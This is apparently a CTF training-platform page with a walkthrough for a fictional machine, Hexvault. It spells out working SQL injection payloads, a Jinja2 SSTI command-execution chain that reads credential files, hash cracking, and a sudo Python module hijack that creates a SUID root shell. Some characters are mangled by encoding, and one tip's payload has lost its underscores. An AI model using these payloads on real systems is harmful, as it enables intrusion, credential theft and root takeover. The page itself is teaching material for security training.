πŸ€πŸ€πŸ€πŸ€πŸ€ 0 pts earned

Hexvault

HexVault is a classified document management system used by a fictional intelligence contractor. The attack surface is wider than it looks, and the path to root requires chaining multiple weaknesses together β€” no single step gets you far on its own. Enumerate carefully, think about what each component trusts, and follow the data.

Machine may be having trouble (checked 9m ago)
Target IP Log in to reveal
User Flag Pending
Root Flag Pending

Premium

Walkthrough, Tips and Tricks

Walkthrough

Hexvault Walkthrough

Overview

Hexvault is a four-stage Insane machine. The Flask web application exposes a
SQLite-backed document vault with SQL injection on the search endpoint β€” dumping
the users table leaks the archivist's MD5 password hash. After cracking it, log
in and exploit a Jinja2 SSTI in the admin template preview engine to get RCE as
www-data. Read the production environment file to obtain archivist's SSH password.
Once on the box, a sudo misconfiguration lets archivist run a Python audit script
as root. Because Python prepends the script's directory to sys.path, planting a
malicious module there yields a root shell.

Phase 1: SQL Injection β€” Credential Dump

  1. nmap -p 30566,30567 <IP> β€” HTTP and SSH.
  2. Browse to http://<IP>:30566/ β†’ login page. Register nothing β€” probe search first.
  3. Login with any credential to trigger the error, then navigate to /search.
    (The login uses parameterised queries β€” not injectable.)
  4. Probe for SQLi: /search?q=test' OR '1'='1 β†’ all vault entries returned.
  5. Determine column count: /search?q=' UNION SELECT 1,2,3--
    β†’ Results row shows 1 | 2 | 3 β†’ three columns confirmed.
  6. Dump users table:
    /search?q=' UNION SELECT username,password_hash,role FROM users-- 
    
    β†’ Reveals: archivist | <MD5_HASH> | admin
    jsmith | <MD5_HASH> | viewer

Note: You need to be logged in to reach /search. Use jsmith:viewer123 or
register β€” but actually there's no register route. Use the SQLi to get the
jsmith hash first, crack it, log in, then re-run the dump as archivist.
Or: note that the System Architecture entry in the vault hints at MD5.

Phase 2: Hash Cracking

hashcat -m 0 <archivist_hash> /usr/share/wordlists/rockyou.txt

β†’ Cracks to: vaultpass

Phase 3: SSTI β†’ RCE as www-data

  1. Login as archivist:vaultpass β†’ the Admin nav link appears.
  2. Navigate to /admin/preview.
  3. Submit {{ 7*7 }} β†’ output shows 49 β†’ Jinja2 SSTI confirmed.
  4. Get command execution:
    {{ cycler.__init__.__globals__['os'].popen('id').read() }}
    
    β†’ uid=33(www-data) gid=33(www-data) groups=33(www-data)
  5. Read production config to extract SSH password:
    {{ cycler.__init__.__globals__['os'].popen('cat /opt/vault/.env.prod').read() }}
    
    β†’ Reveals: ARCHIVIST_SSH_PASS=Arch1v!st2024
  6. Grab the web flag while here:
    {{ cycler.__init__.__globals__['os'].popen('cat /opt/vault/web.flag').read() }}
    

Phase 4: SSH as archivist β†’ user.txt

ssh archivist@<IP> -p 30567
# password: Arch1v!st2024
cat ~/user.txt

Phase 5: Sudo Python Library Hijacking β†’ Root

  1. sudo -l β†’ (root) NOPASSWD: /usr/bin/python3 /opt/vault/run_audit.py
  2. Check directory ownership: ls -la /opt/ | grep vault
    β†’ drwxrwsr-x root vaultops /opt/vault β†’ archivist (in vaultops) can write here.
  3. The script does import requests. When Python runs /opt/vault/run_audit.py,
    it inserts /opt/vault into sys.path[0] before site-packages.
  4. Plant the hijack module:
    cat > /opt/vault/requests.py << 'EOF'
    import os
    os.system('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash')
    EOF
    
  5. Trigger the sudo execution:
    sudo /usr/bin/python3 /opt/vault/run_audit.py
    
    β†’ Python imports /opt/vault/requests.py as root β†’ SUID bash created.
  6. Drop to root shell:
    /tmp/rootbash -p
    cat /root/root.txt
    

Verification Checklist

  • SQLi confirmed (' OR '1'='1)
  • Users table dumped via UNION injection
  • archivist MD5 hash cracked β†’ vaultpass
  • SSTI confirmed (7*7=49) in admin preview
  • RCE via Jinja2 cycler globals chain
  • .env.prod read β†’ SSH password extracted
  • SSH login as archivist, user.txt captured
  • sudo audit script identified
  • Python library hijack β†’ SUID bash created
  • /tmp/rootbash -p β†’ root flag captured
Tips and Tricks
  • The vault entry titled "System Architecture Note" hints that MD5 is in use β€” a nudge to check if the dumped hashes are MD5.
  • jsmith:viewer123 lets you log in to reach /search without cracking anything first.
  • For the SSTI, the cycler global chain works reliably across Flask versions. Alternatively: config.class.init.globals['os'].
  • The .env.prod comment says "pending removal after 2026 audit" β€” developers often leave credentials in "temporary" files for years.
  • Python's sys.path[0] prepend is the core primitive here. Confirm it: {{ cycler.init.globals['os'].popen('python3 -c "import sys; print(sys.path)"').read() }} β€” you'll see /opt/vault first.
  • After planting requests.py, verify ownership before triggering sudo: the file must be readable by root (default 644 is fine).

Community

Community Walkthroughs

No community walkthroughs yet β€” be the first!

Log in to submit your own walkthrough.